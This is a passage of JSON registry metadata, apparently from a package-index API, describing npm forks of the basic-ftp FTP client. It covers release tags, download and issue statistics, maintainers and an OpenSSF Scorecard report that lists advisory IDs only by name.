hub/patrickjuchli/basic-ftp@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"c4a3c00eec9753fb4fa684967fda7c76c43e1f7d","kind":"tag","published_at":"2018-01-12T19:14:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"0392e12a52d3ab2cacca643b582b1f2b898b0836","kind":"tag","published_at":"2018-01-10T12:37:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0/manifests"},{"name":"v1.2.0","sha":"e55c94c461a5ab0c0740221458222e8773faa908","kind":"tag","published_at":"2018-01-07T08:22:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"a354d92fc576e4e98c61fa319e3f879b3991b0ae","kind":"tag","published_at":"2018-01-06T18:03:14.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"3d663e02aaf7169eb6fe07dd7250ef0dfd9d6280","kind":"tag","published_at":"2018-01-06T17:07:58.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0/manifests"},{"name":"v1.0.9","sha":"2d35713910994baaabcf78dcc805cd8996dd3bbd","kind":"tag","published_at":"2018-01-04T21:00:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.9","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9/manifests"},{"name":"v1.0.8","sha":"e3ff76ad996a48291e96212c301554a8a72cf190","kind":"tag","published_at":"2018-01-04T17:03:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.8","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8/manifests"},{"name":"v1.0.7","sha":"cdbca2c538820c15fdadac8be6aea8931fd891ea","kind":"tag","published_at":"2018-01-04T06:34:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.7","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7/manifests"},{"name":"1.0.6","sha":"fad9e33b2fb8b6e8adf241136449acb71b09a724","kind":"tag","published_at":"2018-01-03T11:50:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/1.0.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6/manifests"},{"name":"v1.0.5","sha":"4789d0bbb9c69495ae575a5b2b01ddaf0c1cd80a","kind":"tag","published_at":"2018-01-02T14:36:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"749d64f17b5afcbcec024c980c23709165a24d03","kind":"tag","published_at":"2017-12-31T17:18:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"964b3ece50267c599c3169b0f9c57f8796149b57","kind":"tag","published_at":"2017-12-31T17:18:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"ab8d752c781aedfee1b681bb8344a2789c265bf2","kind":"tag","published_at":"2017-12-30T23:15:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2/manifests"}]},"repo_metadata_updated_at":"2026-08-23T18:23:05.885Z","dependent_packages_count":0,"downloads":11,"downloads_period":"last-month","dependent_repos_count":1,"rankings":{"downloads":51.009441872334214,"dependent_repos_count":10.303930935826395,"dependent_packages_count":51.867230273458475,"stargazers_count":2.853355047544701,"forks_count":3.3219386481734383,"docker_downloads_count":null,"average":23.871179355467444},"purl":"pkg:npm/rollstudio-basic-ftp","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/rollstudio-basic-ftp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/rollstudio-basic-ftp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/rollstudio-basic-ftp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-23T11:32:28.548Z","issues_count":125,"pull_requests_count":35,"avg_time_to_close_issue":10598646.875,"avg_time_to_close_pull_request":13587561.0,"issues_closed_count":112,"pull_requests_closed_count":30,"pull_request_authors_count":18,"issue_authors_count":108,"avg_comments_per_issue":2.872,"avg_comments_per_pull_request":1.5142857142857142,"merged_pull_requests_count":11,"bot_issues_count":0,"bot_pull_requests_count":13,"past_year_issues_count":4,"past_year_pull_requests_count":11,"past_year_avg_time_to_close_issue":654818.0,"past_year_avg_time_to_close_pull_request":1455858.4545454546,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":4,"past_year_avg_comments_per_issue":0.5,"past_year_avg_comments_per_pull_request":1.2727272727272727,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":9,"past_year_merged_pull_requests_count":2,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/issues","maintainers":[{"login":"patrickjuchli","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}],"active_maintainers":[{"login":"patrickjuchli","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/rollstudio-basic-ftp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/rollstudio-basic-ftp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/rollstudio-basic-ftp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/rollstudio-basic-ftp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/rollstudio-basic-ftp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/rollstudio-basic-ftp/codemeta","maintainers":[{"uuid":"rrevo","login":"rrevo","name":null,"email":"marcoaciernoemail@gmail.com","url":null,"packages_count":9,"html_url":"https://www.npmjs.com/~rrevo","role":null,"created_at":"2022-11-14T07:36:51.566Z","updated_at":"2022-11-14T07:36:51.566Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/rrevo/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5777787,"maintainers_count":1236486,"namespaces_count":421466,"keywords_count":881826,"github":"npm","metadata":{"funded_packages_count":189888,"rate_limit":2},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-08-24T05:03:24.460Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":11309876,"name":"@gridspace/basic-ftp","ecosystem":"npm","description":"FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.","homepage":"https://github.com/patrickjuchli/basic-ftp#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/patrickjuchli/basic-ftp","keywords_array":["ftp","ftps","promise","async","await","tls","ipv6","typescript"],"namespace":"gridspace","versions_count":1,"first_release_published_at":"2025-01-29T15:53:57.078Z","latest_release_published_at":"2025-01-29T15:53:57.078Z","latest_release_number":"5.0.5","last_synced_at":"2026-08-23T11:47:00.647Z","created_at":"2025-01-29T15:55:15.497Z","updated_at":"2026-08-24T06:22:42.856Z","registry_url":"https://www.npmjs.com/package/@gridspace/basic-ftp","install_command":"npm install @gridspace/basic-ftp","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"5.0.5"},"contentPolicy":null},"repo_metadata":{"id":41537176,"uuid":"115804484","full_name":"patrickjuchli/basic-ftp","owner":"patrickjuchli","description":"FTP client for Node.js, supports FTPS over TLS, passive mode over IPv6, async/await, and Typescript.","archived":false,"fork":false,"pushed_at":"2026-08-11T17:49:17.000Z","size":1348,"stargazers_count":734,"open_issues_count":11,"forks_count":101,"subscribers_count":8,"default_branch":"master","last_synced_at":"2026-08-20T08:24:54.025Z","etag":null,"topics":["async-await","ftp","ftps","ipv6","nodejs","promise","tls","typescript"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/patrickjuchli.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE.txt","maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2017-12-30T15:11:28.000Z","updated_at":"2026-08-16T22:03:13.000Z","dependencies_parsed_at":"2026-08-06T02:35:37.973Z","dependency_job_id":null,"html_url":"https://github.com/patrickjuchli/basic-ftp","commit_stats":{"total_commits":851,"total_committers":17,"mean_commits":50.05882352941177,"dds":"0.025851938895417148","last_synced_commit":"6deecaf9f3aa0312c92ee96389c405b79311e862"},"previous_names":[],"tags_count":117,"template":false,"template_full_name":null,"purl":"pkg:github/patrickjuchli/basic-ftp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/sbom","scorecard":{"id":722332,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickjuchli/basic-ftp","commit":"22e4bf0529352d2b439bf0d694dcf2db6ac8f661"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.4,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/nodejs.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 2 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":4,"reason":"6 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-mwcw-c2x4-8c55","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:44:33.931Z","repository_id":41537176,"created_at":"2025-08-22T11:44:33.931Z","updated_at":"2025-08-22T11:44:33.931Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36790533,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[{"name":"v6.2.0","sha":"a825fdca3cd3895e0535726a473e143fc2755291","kind":"commit","published_at":"2026-08-02T08:00:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0/manifests"},{"name":"v6.1.0","sha":"e025e1d826a9948afb23ed5e7cde438dc8bd1bcd","kind":"commit","published_at":"2026-08-01T16:39:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0/manifests"},{"name":"v6.0.2","sha":"4d608b9116c8d2674728953fd9a3adfb1ddd7b03","kind":"commit","published_at":"2026-07-25T09:17:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2/manifests"},{"name":"v6.0.1","sha":"aab681b95e665d4940b131a8d23e2ae11d93f38b","kind":"commit","published_at":"2026-05-03T08:43:49.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1/manifests"},{"name":"v6.0.0","sha":"b35e76082ffa5e787ccb83be08589f1d73e75969","kind":"commit","published_at":"2026-04-29T14:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0/manifests"},{"name":"v5.3.1","sha":"980371bb6057d78d479b5cfc18683392abd2c45f","kind":"commit","published_at":"2026-04-27T20:38:46.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1/manifests"},{"name":"v5.3.0","sha":"c9378a8ff73b96e89f17525266d648ce495286a6","kind":"commit","published_at":"2026-04-15T19:35:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0/manifests"},{"name":"v5.2.2","sha":"e9d09d6815b300b73e1297cdcf91786a979ef212","kind":"commit","published_at":"2026-04-09T21:20:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasi